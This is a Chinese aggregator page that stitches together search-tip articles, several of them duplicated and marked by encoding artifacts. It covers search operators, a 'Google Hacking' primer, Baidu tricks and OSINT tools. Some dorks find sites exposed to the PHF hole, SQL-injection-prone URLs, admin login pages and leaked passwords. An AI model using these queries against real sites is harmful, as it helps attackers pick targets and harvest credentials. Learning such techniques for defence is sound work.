但不可加入或/這類(lèi),否則是錯的。
"cache"用來(lái)搜索GOOGLE服務(wù)器上某頁(yè)面的緩存,通常用于查找某些已經(jīng)被刪除的死鏈接網(wǎng)頁(yè),相當于使用普通搜索結果頁(yè)面中的"網(wǎng)頁(yè)快照"功能。
示例:查找GOOGLE緩存的中文yahoo首頁(yè)
搜索:"cache:"
info用來(lái)顯示與某鏈接相關(guān)的一系列搜索,提供cache、link、related和完全包含該鏈接的網(wǎng)頁(yè)的功能。
示例:查找和新浪首頁(yè)相關(guān)的一些資訊。
搜索:"info:"
結果:有的網(wǎng)頁(yè)信息。
示例:查找美國教育網(wǎng)上的宇宙大爆炸jpg圖片
搜索:"BIG BANG filetype:jpg site:edu"
結果:搜索有關(guān) BIG BANG filetype:jpg site:edu 的圖片
第九講,專(zhuān)講一個(gè)特殊語(yǔ)法,很有用:inurl。
"inurl"語(yǔ)法返回的網(wǎng)頁(yè)鏈接中包含第一個(gè)關(guān)鍵字,后面的關(guān)鍵字則出現在鏈接中或者網(wǎng)頁(yè)文檔中。有很多網(wǎng)站把某一類(lèi)具有相同屬性的資源名稱(chēng)顯示在目錄名稱(chēng)或者網(wǎng)頁(yè)名稱(chēng)中,比如"MP3"、"GALLARY"等,于是,就可以用INURL語(yǔ)法找到這些相關(guān)資源鏈接,然后
,用第二個(gè)關(guān)鍵詞確定是否有某項具體資料。INURL語(yǔ)法和基本搜索語(yǔ)法的最大區別在于,前者通常能提供非常精確的專(zhuān)題資料。
示例:查找MIDI曲"滄海一聲笑"。
搜索:"inurl:midi 滄海一聲笑"
結果:已搜索有關(guān)inurl:midi 滄海一聲笑的中文(簡(jiǎn)體)網(wǎng)頁(yè)。
示例:查找微軟網(wǎng)站上關(guān)于windows2000的安全課題資料。
搜索:"inurl:security windows2000 site:"
結果:已在內搜索有關(guān)inurlecurity windows2000 的網(wǎng)頁(yè)。
注意:"inurl:"后面不能有空格,GOOGLE也不對URL符號如"/"進(jìn)行搜索。例如,GOOGLE會(huì )把"cgi-bin/phf"中的"/"當成空格處理。
而一般眾多密碼或數據庫往往出現在鏈接之中,如查Ideallibrary
inurl:ideallibrary proxy passowrd(ID)
"allinurl"語(yǔ)法返回的網(wǎng)頁(yè)的鏈接中包含所有作用關(guān)鍵字。這個(gè)查詢(xún)的關(guān)鍵字只集中于網(wǎng)頁(yè)的鏈接字符串。
示例:查找可能具有PHF安全漏洞的公司網(wǎng)站。通常這些網(wǎng)站的CGI-BIN目錄中含有PHF腳本程序(這個(gè)腳本是不安全的),表現在鏈接中就是"域名/cgi-bin/phf"。
語(yǔ)法:"allinurl:"cgi-bin" phf +com"
搜索:已向英特網(wǎng)搜索allinurl:"cgi-bin" phf +com. 共約有37項查詢(xún)結果,這是第1-10項 。搜索用時(shí)0.36秒
補充講site語(yǔ)法
site即將搜索定位于某一個(gè)域名上,有利于縮小搜索范圍,提高搜索效率 。如keywords site:edu,效果很好!可以方便地搜索到各大學(xué)內有用的資源,至于關(guān)鍵詞的選擇,其它講都有了。
site:tw, site:edu.tw, site: .......
這是定位于國家或地區,將搜索局限于某些國家或地區,或加上edu,則是這些國家或地區的大學(xué),效果自然更好。如果site:則搜索國內醫科大學(xué)內的資源(會(huì )漏綜合性大學(xué)的資源的,要慎用)。
一般的,歐美人的版權意識強,一般密碼不易公布,相反,非洲、美洲、亞洲則往往公開(kāi)密碼,這是獲得密碼的最重要來(lái)源之一,善于利用這些地方的資源有助于提高搜索效率。這是site兩大好處,不可忽視!
也許您正為文章煩惱,一篇論文完成耗時(shí)數月,而在發(fā)表時(shí)卻是坎坷萬(wàn)千。
我們提供以下指導和服務(wù):
評估服務(wù)、翻譯、潤色服務(wù)、文章綜合編輯服務(wù)、SCI論文降重、文章校對等SCI論文服務(wù)。
識別二維碼即可咨詢(xún)
尚輯Sagesci ● SCI論文服務(wù)品牌
好可怕的搜索引擎!
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 68 次瀏覽 ? 2022-05-14 08:11
來(lái)源 |小白學(xué)黑客
作者 |小白哥
信息搜集和社會(huì )工程學(xué)是網(wǎng)絡(luò )安全的非常重要組成部分。
今天這篇文章就來(lái)介紹下信息搜集方面經(jīng)常用到的技術(shù):Google Hacking,就算暫時(shí)沒(méi)有太多專(zhuān)業(yè)的網(wǎng)絡(luò )安全知識,但是如果能熟練運用搜索引擎,也能變身一個(gè)小小的黑客。
Google Hacking,字面意思是利用 Google 搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為,現在已經(jīng)引申為利用一切搜索引擎進(jìn)行網(wǎng)絡(luò )入侵的技術(shù)和行為。
搜索引擎大家都用過(guò),在搜索框中輸入關(guān)鍵詞,一鍵回車(chē),結果就展示在我們面前。但實(shí)際上,這個(gè)搜索框內藏玄機,除了關(guān)鍵詞,還有別的用法。
搜索引擎對于搜索的內容提供了多種語(yǔ)法,通過(guò)構造特定的搜索語(yǔ)句,能夠快速全面地讓攻擊者挖掘到有價(jià)值的信息。
本文列舉一些常用的例子,如果沒(méi)有特別說(shuō)明,本文列出的搜索語(yǔ)法在 Google 和百度中都能適用,本文內容以 Google 為例展示。
site
語(yǔ)法:site
作用:限定在特定的網(wǎng)址中搜索
有時(shí)候全網(wǎng)搜索有點(diǎn)像大海撈針,而如果我們有特別關(guān)心的網(wǎng)站,想只顯示這個(gè)網(wǎng)站的搜索結果,就可以用到 site 語(yǔ)法,比如我在微軟的官網(wǎng)內搜索漏洞編號 CVE-2014-4114:
可以看到,顯示的結果都是在指定網(wǎng)站中的,大大減少了我們在海量信息中的篩選成本。
實(shí)際上,不少網(wǎng)站為了省事,這些網(wǎng)站的站內搜索功能就是利用搜索引擎的 site 語(yǔ)法來(lái)實(shí)現的。
filetype
語(yǔ)法:filetype
作用:搜索特定的文件類(lèi)型
有時(shí)候我們想找特定類(lèi)型的文檔,比如 PPT、PDF 等,但默認情況下出來(lái)的都是網(wǎng)頁(yè),很難找到我們想要的內容,這個(gè)時(shí)候就可以用上 filetype 語(yǔ)法。比如我想搜索 web 安全相關(guān)的 PDF 電子書(shū):
這下出來(lái)的,都是我們想要的了,用這一招搜索技術(shù)文檔、電子書(shū)等等屢試不爽哦。
inurl
語(yǔ)法:inurl
作用:在 URL 中搜索出現指定內容的鏈接
這一個(gè)語(yǔ)法有什么用?普通人很少直接關(guān)心鏈接本身的內容,但是對于咱們 hacker 來(lái)說(shuō),URL 就重要了,比如我們可以用來(lái)搜索可能存在 SQL 注入的鏈接:
除了 SQL 注入,還可以搜索可能存在的網(wǎng)站后臺管理入口:
如果我們再加上前面的 site 語(yǔ)法組合使用,就可以找出指定網(wǎng)站的這種鏈接了,定向尋找攻擊點(diǎn)。
intitle
語(yǔ)法:intitle
作用:在網(wǎng)頁(yè) title 中搜索出現指定內容的網(wǎng)頁(yè)
除了在 URL 中搜索,咱們還能在標題中搜索。一般網(wǎng)站后臺管理頁(yè)面都會(huì )帶有“后臺”、“管理”、“登錄”等字眼,我們可以通過(guò)在 HTML 的 title 字段位置搜索這些關(guān)鍵詞,尋找可疑的后臺登錄頁(yè)面。
intext
語(yǔ)法:intext
作用:除了 URL 和 title,剩下的就是正文位置搜索了
比如我們搜索使用 discuz 搭建的論壇網(wǎng)站:
Google Hacking DataBase
看了這么多,不知道你學(xué)廢了嗎?
如果沒(méi)有也沒(méi)有關(guān)系,這里有個(gè)神器:Google Hacking 數據庫,匯集了非常多的有價(jià)值的搜索語(yǔ)句,你可以用這些來(lái)搜搜看,看看能不能發(fā)現些什么信息。
學(xué)會(huì )使用搜索引擎,是每一個(gè) hacker 必備的技能之一,看完這篇趕緊操練起來(lái),動(dòng)動(dòng)手試一試。不過(guò)以學(xué)習為主,切莫拿去做違法事情哦,現在的網(wǎng)絡(luò )安全法那可不是鬧著(zhù)玩的! 查看全部
好可怕的搜索引擎!
來(lái)源 |小白學(xué)黑客
作者 |小白哥
信息搜集和社會(huì )工程學(xué)是網(wǎng)絡(luò )安全的非常重要組成部分。
今天這篇文章就來(lái)介紹下信息搜集方面經(jīng)常用到的技術(shù):Google Hacking,就算暫時(shí)沒(méi)有太多專(zhuān)業(yè)的網(wǎng)絡(luò )安全知識,但是如果能熟練運用搜索引擎,也能變身一個(gè)小小的黑客。
Google Hacking,字面意思是利用 Google 搜索引擎搜索信息來(lái)進(jìn)行入侵的技術(shù)和行為,現在已經(jīng)引申為利用一切搜索引擎進(jìn)行網(wǎng)絡(luò )入侵的技術(shù)和行為。
搜索引擎大家都用過(guò),在搜索框中輸入關(guān)鍵詞,一鍵回車(chē),結果就展示在我們面前。但實(shí)際上,這個(gè)搜索框內藏玄機,除了關(guān)鍵詞,還有別的用法。
搜索引擎對于搜索的內容提供了多種語(yǔ)法,通過(guò)構造特定的搜索語(yǔ)句,能夠快速全面地讓攻擊者挖掘到有價(jià)值的信息。
本文列舉一些常用的例子,如果沒(méi)有特別說(shuō)明,本文列出的搜索語(yǔ)法在 Google 和百度中都能適用,本文內容以 Google 為例展示。
site
語(yǔ)法:site
作用:限定在特定的網(wǎng)址中搜索
有時(shí)候全網(wǎng)搜索有點(diǎn)像大海撈針,而如果我們有特別關(guān)心的網(wǎng)站,想只顯示這個(gè)網(wǎng)站的搜索結果,就可以用到 site 語(yǔ)法,比如我在微軟的官網(wǎng)內搜索漏洞編號 CVE-2014-4114:
可以看到,顯示的結果都是在指定網(wǎng)站中的,大大減少了我們在海量信息中的篩選成本。
實(shí)際上,不少網(wǎng)站為了省事,這些網(wǎng)站的站內搜索功能就是利用搜索引擎的 site 語(yǔ)法來(lái)實(shí)現的。
filetype
語(yǔ)法:filetype
作用:搜索特定的文件類(lèi)型
有時(shí)候我們想找特定類(lèi)型的文檔,比如 PPT、PDF 等,但默認情況下出來(lái)的都是網(wǎng)頁(yè),很難找到我們想要的內容,這個(gè)時(shí)候就可以用上 filetype 語(yǔ)法。比如我想搜索 web 安全相關(guān)的 PDF 電子書(shū):
這下出來(lái)的,都是我們想要的了,用這一招搜索技術(shù)文檔、電子書(shū)等等屢試不爽哦。
inurl
語(yǔ)法:inurl
作用:在 URL 中搜索出現指定內容的鏈接
這一個(gè)語(yǔ)法有什么用?普通人很少直接關(guān)心鏈接本身的內容,但是對于咱們 hacker 來(lái)說(shuō),URL 就重要了,比如我們可以用來(lái)搜索可能存在 SQL 注入的鏈接:
除了 SQL 注入,還可以搜索可能存在的網(wǎng)站后臺管理入口:
如果我們再加上前面的 site 語(yǔ)法組合使用,就可以找出指定網(wǎng)站的這種鏈接了,定向尋找攻擊點(diǎn)。
intitle
語(yǔ)法:intitle
作用:在網(wǎng)頁(yè) title 中搜索出現指定內容的網(wǎng)頁(yè)
除了在 URL 中搜索,咱們還能在標題中搜索。一般網(wǎng)站后臺管理頁(yè)面都會(huì )帶有“后臺”、“管理”、“登錄”等字眼,我們可以通過(guò)在 HTML 的 title 字段位置搜索這些關(guān)鍵詞,尋找可疑的后臺登錄頁(yè)面。
intext
語(yǔ)法:intext
作用:除了 URL 和 title,剩下的就是正文位置搜索了
比如我們搜索使用 discuz 搭建的論壇網(wǎng)站:
Google Hacking DataBase
看了這么多,不知道你學(xué)廢了嗎?
如果沒(méi)有也沒(méi)有關(guān)系,這里有個(gè)神器:Google Hacking 數據庫,匯集了非常多的有價(jià)值的搜索語(yǔ)句,你可以用這些來(lái)搜搜看,看看能不能發(fā)現些什么信息。
學(xué)會(huì )使用搜索引擎,是每一個(gè) hacker 必備的技能之一,看完這篇趕緊操練起來(lái),動(dòng)動(dòng)手試一試。不過(guò)以學(xué)習為主,切莫拿去做違法事情哦,現在的網(wǎng)絡(luò )安全法那可不是鬧著(zhù)玩的!
這幾個(gè)百度搜索技巧,小電影都搜的到!
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 248 次瀏覽 ? 2022-05-14 07:59
先說(shuō)百度網(wǎng)盤(pán)網(wǎng)盤(pán)是個(gè)好東西,現在除了被干掉的快播,就某某網(wǎng)盤(pán)最火了,當然,最火的這個(gè)不是百度網(wǎng)盤(pán)。
我們看圖說(shuō)話(huà):
再來(lái)個(gè)正兒八經(jīng)的(你也可以搜必的小電影)
完美??!
在看看python書(shū)籍
pdf也是個(gè)好東西
下面介紹幾種百度搜索技巧
1、 關(guān)鍵詞加引號
比如我要搜索:python教程app,在搜索的時(shí)候很有可能會(huì )把”pthon“和“教程app”拆分開(kāi),然后分別進(jìn)行搜索,這時(shí)候我們可以把關(guān)鍵詞放入引號內,就代表完全匹配搜索,也就是所顯示的搜索結果一定包含完整的關(guān)鍵詞,不會(huì )出現近義詞和拆分的情況。
這不就是老曾寫(xiě)的App嗎?
2、site:用于搜索指定網(wǎng)站下的關(guān)鍵信息
比如我只想在我自己博客網(wǎng)站上搜索“計算”這個(gè)信息,我可以使用關(guān)鍵詞 site:計算 進(jìn)行搜索,這樣搜出來(lái)的信息都是我博客上的內容。如下圖:
3、在標題里面限定進(jìn)行精準搜索
如果我們想得到搜索結果的標題中包含我們輸入的關(guān)鍵詞,這時(shí)候可以用intitle:進(jìn)行限定。
比如我想搜索引擎返回的結果在標題里面包含“程序員”這個(gè)關(guān)鍵詞,可以輸入關(guān)鍵詞:intitle:程序。如下圖:
4、 精準搜索你要的文檔類(lèi)資料
有時(shí)候我們想在百度上找某個(gè)課程的文檔,但是搜出來(lái)的信息總不是自己想要的,可以試一下關(guān)鍵詞:filetype:+文檔格式。
比如我們想在網(wǎng)上搜索高等數學(xué)課doc格式的文章,我們可以這樣搜索:python filetype:ppt,如下圖:
5、 指定鏈接進(jìn)行精準搜索
在網(wǎng)頁(yè)鏈接中我們可以限定關(guān)鍵詞進(jìn)行搜索,只要在關(guān)鍵詞前面加:inurl:
例如:我要精準搜索關(guān)鍵詞:Java
可以輸入關(guān)鍵詞:inurl:Java,如下圖:
-------------------------
記住,搜索的時(shí)候關(guān)鍵詞越短越好,搜索內容就越多
譚慶波
就這些,各位朋友,覺(jué)得有用的話(huà)記得點(diǎn)個(gè)贊!
微信8.0將好友放開(kāi)到了一萬(wàn),小伙伴可以加我大號了,先到先得,再滿(mǎn)就真沒(méi)了 查看全部
這幾個(gè)百度搜索技巧,小電影都搜的到!
先說(shuō)百度網(wǎng)盤(pán)網(wǎng)盤(pán)是個(gè)好東西,現在除了被干掉的快播,就某某網(wǎng)盤(pán)最火了,當然,最火的這個(gè)不是百度網(wǎng)盤(pán)。
我們看圖說(shuō)話(huà):
再來(lái)個(gè)正兒八經(jīng)的(你也可以搜必的小電影)
完美??!
在看看python書(shū)籍
pdf也是個(gè)好東西
下面介紹幾種百度搜索技巧
1、 關(guān)鍵詞加引號
比如我要搜索:python教程app,在搜索的時(shí)候很有可能會(huì )把”pthon“和“教程app”拆分開(kāi),然后分別進(jìn)行搜索,這時(shí)候我們可以把關(guān)鍵詞放入引號內,就代表完全匹配搜索,也就是所顯示的搜索結果一定包含完整的關(guān)鍵詞,不會(huì )出現近義詞和拆分的情況。
這不就是老曾寫(xiě)的App嗎?
2、site:用于搜索指定網(wǎng)站下的關(guān)鍵信息
比如我只想在我自己博客網(wǎng)站上搜索“計算”這個(gè)信息,我可以使用關(guān)鍵詞 site:計算 進(jìn)行搜索,這樣搜出來(lái)的信息都是我博客上的內容。如下圖:
3、在標題里面限定進(jìn)行精準搜索
如果我們想得到搜索結果的標題中包含我們輸入的關(guān)鍵詞,這時(shí)候可以用intitle:進(jìn)行限定。
比如我想搜索引擎返回的結果在標題里面包含“程序員”這個(gè)關(guān)鍵詞,可以輸入關(guān)鍵詞:intitle:程序。如下圖:
4、 精準搜索你要的文檔類(lèi)資料
有時(shí)候我們想在百度上找某個(gè)課程的文檔,但是搜出來(lái)的信息總不是自己想要的,可以試一下關(guān)鍵詞:filetype:+文檔格式。
比如我們想在網(wǎng)上搜索高等數學(xué)課doc格式的文章,我們可以這樣搜索:python filetype:ppt,如下圖:
5、 指定鏈接進(jìn)行精準搜索
在網(wǎng)頁(yè)鏈接中我們可以限定關(guān)鍵詞進(jìn)行搜索,只要在關(guān)鍵詞前面加:inurl:
例如:我要精準搜索關(guān)鍵詞:Java
可以輸入關(guān)鍵詞:inurl:Java,如下圖:
-------------------------
記住,搜索的時(shí)候關(guān)鍵詞越短越好,搜索內容就越多
譚慶波
就這些,各位朋友,覺(jué)得有用的話(huà)記得點(diǎn)個(gè)贊!
微信8.0將好友放開(kāi)到了一萬(wàn),小伙伴可以加我大號了,先到先得,再滿(mǎn)就真沒(méi)了
【工具類(lèi)】查找指定位置附近的社交媒體內容
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 103 次瀏覽 ? 2022-05-12 02:00
在FB和INS上,我們可以搜索指定位置的發(fā)帖內容。但是這樣工作效率太低,我們無(wú)法全面掌握目標區域內的所有內容(除非有一張該區域內可搜索的地點(diǎn)清單)。網(wǎng)頁(yè)工具Instahunt為我們提供了很好的幫助,能夠快速在地圖顯示指定位置附近所有的FB和INS鏈接。
Instahunt鏈接:
1.賬號登錄
搜索之前登錄您的FB賬號和INS賬號
2.獲取JSON數據在右上角填入目標位置,之后點(diǎn)擊左上角FIND PLACES得到所有JSON輸出
3.地圖可視化將JSON輸出復制粘貼至指定文本框中,單擊“映射您的INS地點(diǎn)”按鈕后即可在地圖上顯示周?chē)械腇B和INS帖子,之后選擇感興趣的地點(diǎn)單擊“查看帖子”即可。
以頓涅茨克為例,使用其烏克蘭語(yǔ)Донецьк作為搜索關(guān)鍵詞,在地圖上顯示的圖像如下所示:
經(jīng)過(guò)逐一查看,其中我們認為具有開(kāi)源情報價(jià)值的是位于Парк кованых фигур(鍛造人物公園)的一條INS:
關(guān)鍵信息:兩天前發(fā)布;頓涅茨克;坦克。
針對熱點(diǎn)事件,或許在之后的開(kāi)源情報過(guò)程中也能利用類(lèi)似方法提前預知局勢走向。 查看全部
【工具類(lèi)】查找指定位置附近的社交媒體內容
在FB和INS上,我們可以搜索指定位置的發(fā)帖內容。但是這樣工作效率太低,我們無(wú)法全面掌握目標區域內的所有內容(除非有一張該區域內可搜索的地點(diǎn)清單)。網(wǎng)頁(yè)工具Instahunt為我們提供了很好的幫助,能夠快速在地圖顯示指定位置附近所有的FB和INS鏈接。
Instahunt鏈接:
1.賬號登錄
搜索之前登錄您的FB賬號和INS賬號
2.獲取JSON數據在右上角填入目標位置,之后點(diǎn)擊左上角FIND PLACES得到所有JSON輸出
3.地圖可視化將JSON輸出復制粘貼至指定文本框中,單擊“映射您的INS地點(diǎn)”按鈕后即可在地圖上顯示周?chē)械腇B和INS帖子,之后選擇感興趣的地點(diǎn)單擊“查看帖子”即可。
以頓涅茨克為例,使用其烏克蘭語(yǔ)Донецьк作為搜索關(guān)鍵詞,在地圖上顯示的圖像如下所示:
經(jīng)過(guò)逐一查看,其中我們認為具有開(kāi)源情報價(jià)值的是位于Парк кованых фигур(鍛造人物公園)的一條INS:
關(guān)鍵信息:兩天前發(fā)布;頓涅茨克;坦克。
針對熱點(diǎn)事件,或許在之后的開(kāi)源情報過(guò)程中也能利用類(lèi)似方法提前預知局勢走向。
技巧 | 如何搜索公眾號里的指定內容 ?
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 306 次瀏覽 ? 2022-05-12 01:57
本期概要 :在使用微信,查找公眾號相關(guān)資料和內容的時(shí)候,我們往往會(huì )用到搜索。但是很多朋友不清楚如何在指定公眾號下面搜索特定的內容,需要一條一條翻閱歷史消息,非常痛苦,今天給大家介紹簡(jiǎn)單易用的方法,輕松地找到你需要的內容。
以本公眾號為例,方法可以用在所有其他公眾號里。
第一步:點(diǎn)擊所有文章,跳轉到歷史文章的頁(yè)面。
第二步:把界面,整體往下拉。
第三步:出現搜索框,可以進(jìn)行搜索了。
第四步:隨意鍵入您要的關(guān)鍵詞。建議輸入少量精確的詞語(yǔ)。
視頻教程:
查看全部
技巧 | 如何搜索公眾號里的指定內容 ?
本期概要 :在使用微信,查找公眾號相關(guān)資料和內容的時(shí)候,我們往往會(huì )用到搜索。但是很多朋友不清楚如何在指定公眾號下面搜索特定的內容,需要一條一條翻閱歷史消息,非常痛苦,今天給大家介紹簡(jiǎn)單易用的方法,輕松地找到你需要的內容。
以本公眾號為例,方法可以用在所有其他公眾號里。
第一步:點(diǎn)擊所有文章,跳轉到歷史文章的頁(yè)面。
第二步:把界面,整體往下拉。
第三步:出現搜索框,可以進(jìn)行搜索了。
第四步:隨意鍵入您要的關(guān)鍵詞。建議輸入少量精確的詞語(yǔ)。
視頻教程:
如何一鍵識別網(wǎng)站質(zhì)量?如何一秒搜索精準內容?
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 112 次瀏覽 ? 2022-05-11 19:20
前者可以幫你快速判斷一個(gè)網(wǎng)站到底有沒(méi)有料,提高信息篩選的效率;后者可以幫你快速定位自己要找的信息,即自定義搜索。
畢竟明明只想搜索網(wǎng)站A、B、C的內容,卻一直刷到網(wǎng)站D、E、F的鏈接,是很頭疼的。
—1—
MozBar谷歌插件
1.MozBar谷歌插件
第一款分享的工具是MozBar谷歌插件, 在谷歌瀏覽器的擴展程序中先安裝插件。
下載地址:
這已經(jīng)是個(gè)很出名的老牌搜索引擎優(yōu)化插件了,可以用來(lái)評判網(wǎng)站好壞。
不僅可以用來(lái)評估別人的網(wǎng)站、網(wǎng)頁(yè)質(zhì)量,也可以用來(lái)評估自己的網(wǎng)站表現。
其中有兩個(gè)值需要注意 :0-100取值,越大越優(yōu)秀
DA(Domain Authority),網(wǎng)站權重的指標;
PA(Page Authority),網(wǎng)頁(yè)權重指標。
左上角綠色圖標還可以導出網(wǎng)頁(yè)搜索的相關(guān)數據。
2. Mozbar一鍵識別網(wǎng)站質(zhì)量
具體用法舉個(gè)例子吧。
如果我要找紅人做推廣,在網(wǎng)上搜到了一系列紅人資源后,想排查紅人的質(zhì)量,就可以用到MozBar。
首先搜索我們想讓這個(gè)紅人進(jìn)行推廣的,紅人的主頁(yè),比如我們想讓紅人做YouTube的推廣,就搜索其YouTube主頁(yè)。
這個(gè)YouTube美妝博主的賬號DA高達100,主頁(yè)的PA達76,說(shuō)明她的熱度非常高,有條件的話(huà)完全可以放心找她合作。
同理MozBar也可以用來(lái)分析其他站點(diǎn)的質(zhì)量。
—2—
谷歌自定義搜索引擎
在介紹這個(gè)有點(diǎn)燒腦的工具之前,先和大家分享一件趣事。(其實(shí)按照我分享的步驟操作并不難掌握)
今天同事咨詢(xún)我該怎么扒原貼。
他在網(wǎng)頁(yè)看到這張圖,想找原帖,但即使知道這是博主在Facebook發(fā)布的帖子,也知道是2019年發(fā)布的,甚至連文本內容都知道,可他就是沒(méi)辦法在博主的Facebook主頁(yè)扒出來(lái)這條陳年老帖。
即使設置好了搜索條件,右側的顯示也跟原帖毫不相干。
而我用谷歌自定義搜索引擎來(lái)搜索,一下子就找到了這條帖子,而且搜索結果非常精準,就是這一條內容。
1.谷歌自定義搜索引擎是什么
先貼網(wǎng)址:
歡迎大家先來(lái)看一下我的的小粉紅乞丐版自定義搜索引擎,是不是跟平常我們在谷歌的搜索很不一樣?
外觀(guān)可以自定義,要搜索的內容也可以定向。
分為幾個(gè)板塊,第一個(gè)板塊是搜索標簽;第二個(gè)板塊是谷歌的廣告內容;第三個(gè)板塊是搜索結果。
如果我想搜索網(wǎng)站內容,就選擇Web,如果想搜索圖片內容,就選擇Image。
我把All results標簽設置為包含右邊所有標簽。
即我用All results標簽搜索”小米手機“,就會(huì )得到twitter、Facebook、tumblr、 reddit、youtube這幾個(gè)網(wǎng)站里,所有關(guān)于”小米手機“的內容。
當然我也可以根據各個(gè)不同標簽找。
比如我想搜索twitter里所有關(guān)于”小米手機“的帖子,就直接用twitter的標簽進(jìn)行搜索。
是不是很方便!
2.手把手教你設置自定義搜索
a)第一步:新增搜索引擎
以下為設置初步自定義搜索的流程。
打開(kāi)網(wǎng)址:
點(diǎn)擊添加,填寫(xiě)內容,然后點(diǎn)擊創(chuàng )建。
創(chuàng )建完成后會(huì )顯示該界面。
我們先來(lái)點(diǎn)擊公開(kāi)網(wǎng)址,如圖:
在搜索框我們試著(zhù)搜索一下最近的東北虎熱點(diǎn)事件:
我們看到出來(lái)的都是Facebook(twitter也有顯示在后面)上關(guān)于東北虎的討論,非常精準。
接著(zhù)點(diǎn)擊修改搜索引擎控制臺,如圖:
這里大家可以自行設置,但是注意,正常情況下建議打開(kāi)圖片搜索和安全搜索。
b)第二步:修改搜索引擎
這是我之前設置好參數的自定義搜索引擎”測試版“。
左邊進(jìn)行設置的同時(shí),可以在右邊看到預設的界面。外觀(guān)設置就不說(shuō)了,大家按照自己的喜好去調整。
標簽的設置是在”“搜索功能”的“優(yōu)化一欄。
按照自己的需要添加標簽。
比如我想有一個(gè)標簽專(zhuān)門(mén)顯示Facebook的內容,我就把標簽命名為”Facebook“(或者其他自定義名稱(chēng)),并選擇”進(jìn)搜索具有此標簽的網(wǎng)站“。
創(chuàng )建完標簽后回到設置欄,下拉。
勾選你要添加進(jìn)標簽的網(wǎng)站(可以勾選多個(gè)),選擇標簽,就完成對標簽的設置了。
乞丐版自定義搜索引擎完成。
3.普通搜索 vs 自定義搜索
設置完成后我們可以對比兩個(gè)搜索引擎進(jìn)行搜索。
比如我想做小米手機在twitter的市場(chǎng)調研,想知道twitter里關(guān)于小米手機的帖子大多在討論什么內容。
我嘗試著(zhù)在普通谷歌瀏覽器搜索“小米手機+twitter”。
前五的結果除了第一條是來(lái)自推特的標簽,剩下的全是來(lái)自其它網(wǎng)站。
我用自定義搜索引擎來(lái)試試看。
直接在我剛才設置好的搜索引擎里,選擇twitter的標簽,然后搜索“小米手機”。
除了前面的廣告頁(yè),直接拉下來(lái),搜索到的全是來(lái)自twitter的內容。
直接提高我做市場(chǎng)調查的效率有沒(méi)有!自定義搜索引擎完勝。
—3—
結語(yǔ)
以上兩個(gè)工具還有很多功能,感興趣的朋友完全可以繼續摸索。比如谷歌自定義搜索引擎其實(shí)也是站長(cháng)們可以利用起來(lái)的好工具。
可以用來(lái)給自己的網(wǎng)站做一個(gè)導航鏈接分享出去,甚至可以自定義廣告欄,曾經(jīng)谷歌是收廣告費的莊家,現在收廣告費的莊家成了你。
而MozBar不僅僅能分析網(wǎng)頁(yè)/網(wǎng)站質(zhì)量,還能分析關(guān)鍵字排名、網(wǎng)站SEO強度、SEO分析...這簡(jiǎn)直就是給你開(kāi)了外掛,可以用來(lái)分析別人網(wǎng)站的流量具體是怎么跑的。
但對于想提高搜索效率的基礎玩家,這兩款工具的初級玩法也完全夠用了。 查看全部
如何一鍵識別網(wǎng)站質(zhì)量?如何一秒搜索精準內容?
前者可以幫你快速判斷一個(gè)網(wǎng)站到底有沒(méi)有料,提高信息篩選的效率;后者可以幫你快速定位自己要找的信息,即自定義搜索。
畢竟明明只想搜索網(wǎng)站A、B、C的內容,卻一直刷到網(wǎng)站D、E、F的鏈接,是很頭疼的。
—1—
MozBar谷歌插件
1.MozBar谷歌插件
第一款分享的工具是MozBar谷歌插件, 在谷歌瀏覽器的擴展程序中先安裝插件。
下載地址:
這已經(jīng)是個(gè)很出名的老牌搜索引擎優(yōu)化插件了,可以用來(lái)評判網(wǎng)站好壞。
不僅可以用來(lái)評估別人的網(wǎng)站、網(wǎng)頁(yè)質(zhì)量,也可以用來(lái)評估自己的網(wǎng)站表現。
其中有兩個(gè)值需要注意 :0-100取值,越大越優(yōu)秀
DA(Domain Authority),網(wǎng)站權重的指標;
PA(Page Authority),網(wǎng)頁(yè)權重指標。
左上角綠色圖標還可以導出網(wǎng)頁(yè)搜索的相關(guān)數據。
2. Mozbar一鍵識別網(wǎng)站質(zhì)量
具體用法舉個(gè)例子吧。
如果我要找紅人做推廣,在網(wǎng)上搜到了一系列紅人資源后,想排查紅人的質(zhì)量,就可以用到MozBar。
首先搜索我們想讓這個(gè)紅人進(jìn)行推廣的,紅人的主頁(yè),比如我們想讓紅人做YouTube的推廣,就搜索其YouTube主頁(yè)。
這個(gè)YouTube美妝博主的賬號DA高達100,主頁(yè)的PA達76,說(shuō)明她的熱度非常高,有條件的話(huà)完全可以放心找她合作。
同理MozBar也可以用來(lái)分析其他站點(diǎn)的質(zhì)量。
—2—
谷歌自定義搜索引擎
在介紹這個(gè)有點(diǎn)燒腦的工具之前,先和大家分享一件趣事。(其實(shí)按照我分享的步驟操作并不難掌握)
今天同事咨詢(xún)我該怎么扒原貼。
他在網(wǎng)頁(yè)看到這張圖,想找原帖,但即使知道這是博主在Facebook發(fā)布的帖子,也知道是2019年發(fā)布的,甚至連文本內容都知道,可他就是沒(méi)辦法在博主的Facebook主頁(yè)扒出來(lái)這條陳年老帖。
即使設置好了搜索條件,右側的顯示也跟原帖毫不相干。
而我用谷歌自定義搜索引擎來(lái)搜索,一下子就找到了這條帖子,而且搜索結果非常精準,就是這一條內容。
1.谷歌自定義搜索引擎是什么
先貼網(wǎng)址:
歡迎大家先來(lái)看一下我的的小粉紅乞丐版自定義搜索引擎,是不是跟平常我們在谷歌的搜索很不一樣?
外觀(guān)可以自定義,要搜索的內容也可以定向。
分為幾個(gè)板塊,第一個(gè)板塊是搜索標簽;第二個(gè)板塊是谷歌的廣告內容;第三個(gè)板塊是搜索結果。
如果我想搜索網(wǎng)站內容,就選擇Web,如果想搜索圖片內容,就選擇Image。
我把All results標簽設置為包含右邊所有標簽。
即我用All results標簽搜索”小米手機“,就會(huì )得到twitter、Facebook、tumblr、 reddit、youtube這幾個(gè)網(wǎng)站里,所有關(guān)于”小米手機“的內容。
當然我也可以根據各個(gè)不同標簽找。
